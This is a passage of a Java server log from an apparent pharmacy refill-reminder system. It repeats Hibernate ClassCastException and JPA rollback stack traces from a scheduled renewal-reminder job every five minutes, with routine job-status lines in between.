org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 00:05:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 00:05:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 00:05:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 00:05:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 00:05:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 00:05:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 00:05:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 00:05:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 00:10:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 00:10:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 00:10:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 00:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 00:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 00:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 00:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 00:10:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 00:10:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 00:10:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 00:10:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 00:10:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 00:10:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 00:10:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 00:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 00:15:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 00:15:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 00:15:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 00:15:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 00:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 00:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 00:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 00:15:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 00:15:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 00:15:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 00:15:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 00:15:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 00:15:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 00:20:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 00:20:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 00:20:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 00:20:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 00:20:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 00:20:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 00:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 00:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 00:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 00:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 00:20:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 00:20:00 INFO 